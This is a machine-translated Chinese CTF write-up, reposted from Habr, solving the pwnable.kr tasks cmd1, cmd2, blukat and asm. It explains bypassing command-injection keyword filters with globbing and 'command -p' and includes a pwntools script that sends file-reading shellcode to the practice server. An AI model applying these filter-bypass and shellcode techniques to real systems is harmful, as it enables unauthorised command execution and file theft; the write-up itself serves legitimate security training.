使用pwnable.kr cmd1,cmd2,asm,blukat解决任务。 在Linux中绕过过滤。 用pwntools编写shellcode

图片

在本文中,我们将研究如何绕过轻量级过滤器,如何使用pwntools编写shell以及如何解决网站pwnable.kr上的一些任务。

组织信息
特别是对于那些想要学习新知识并在信息和计算机安全性的任何领域中发展的人们,我将撰写和讨论以下类别:

  • PWN;
  • 密码学(加密);
  • 网络技术(网络);
  • 反向(反向工程);
  • 隐写术(Stegano);
  • 搜索和利用Web漏洞。

除此之外,我将分享我在计算机取证,恶意软件和固件分析,对无线网络和局域网的攻击,进行笔测试和编写漏洞利用程序方面的经验。

为了使您可以查找有关新文章,软件和其他信息的信息,我在Telegram中创建了一个频道,并创建了一个小组来讨论 ICD领域中的所有问题 。 另外,我会亲自考虑您的个人要求,问题,建议和建议, 并会回答所有人

提供所有信息仅出于教育目的。 对于由于使用本文档而获得的知识和方法对某人造成的任何损害,本文档的作者不承担任何责任。

任务cmd1的解决方案


我们单击带有签名cmd1的图标,并被告知需要通过SSH与密码guest连接。

图片

连接后,我们会看到相应的横幅。

图片

让我们找出服务器上有哪些文件,以及我们拥有的权限。

图片

让我们看一下源代码。

图片

一切都非常简单:我们将命令传递给程序,并在命令行上执行它,但首先过滤标志flag,sh,tmp。 过滤标志,但不过滤fla *。

图片

我们交出国旗,再得一分。

任务cmd2的解决方案


我们单击带有签名cmd2的图标,并被告知需要通过SSH连接作业cmd1的密码。

图片

连接后,我们会看到相应的横幅。

图片

让我们找出服务器上有哪些文件,以及我们拥有的权限。

图片

让我们看一下源代码。

图片

它看起来像cmd1,但过滤器更复杂。 再次过滤标志,但不过滤fla *。 斜线过滤使一切变得复杂,但是我们可以将-bin / cat作为命令-p cat执行。

图片

我们交出国旗并获得积分。

Blukat作业解决方案


我们单击带有签名blukat的图标,并被告知需要通过SSH与密码guest连接。

图片

连接后,我们会看到相应的横幅。

图片

让我们找出服务器上有哪些文件,以及我们拥有的权限。

图片

让我们看一下源代码。

图片

因此,将在此处打开带有密码的文件,与密钥争吵并显示一个标志。 如果您阅读带有密码的文件,那么这里只是带有密码的文件,它会向我们显示错误文本。 实际上,错误是密码...由于该文件可由该组读取,因此我们属于该组。

图片

图片

我们交出国旗并获得3分。

ASM工作解决方案


我们单击带有签名asm的图标,并被告知需要通过SSH与密码guest连接。

图片

连接后,我们会看到相应的横幅。

图片

让我们找出服务器上有哪些文件,以及我们拥有的权限。

图片

他们给我们留了一个自述,阅读了。

图片

因此,我们必须将读取标志文件的shellcode发送到端口9026。

图片

太好了 我们使用pwntools,定义连接和体系结构的参数。

from pwn import * r = remote('pwnable.kr', 9026) context.arch = 'amd64' r.interactive() 

要编译外壳,我们将使用shellcraft模块。 Shellcode将如何工作:

  1. 我们在堆栈上放一行-文件名。
  2. 用堆栈顶部的名称打开文件(RSP寄存器)。
  3. 由于open函数将返回rax寄存器中的打开文件描述符-要读取的第一个参数,因此我们将读取堆栈上的64个字节,因此rsp寄存器将成为第二个参数。
  4. 现在,我们将位于堆栈顶部(rsp寄存器)的标志写入标准输出(描述符1)。
  5. 我们收集壳并运送。

 from pwn import * r = remote('pwnable.kr', 9026) context.arch = 'amd64' payload = shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong') payload += shellcraft.open('rsp', 0, 0) payload += shellcraft.read('rax', 'rsp', 64) payload += shellcraft.write(1,'rsp', 64) shell = asm(payload) r.send(shell) r.interactive() 

图片

我们交出国旗并获得6分。 在下一篇文章中见,我们将在其中考虑复杂的漏洞供免费使用。

我们在电报频道中: Telegram中频道

Source: https://habr.com/ru/post/zh-CN462091/


All Articles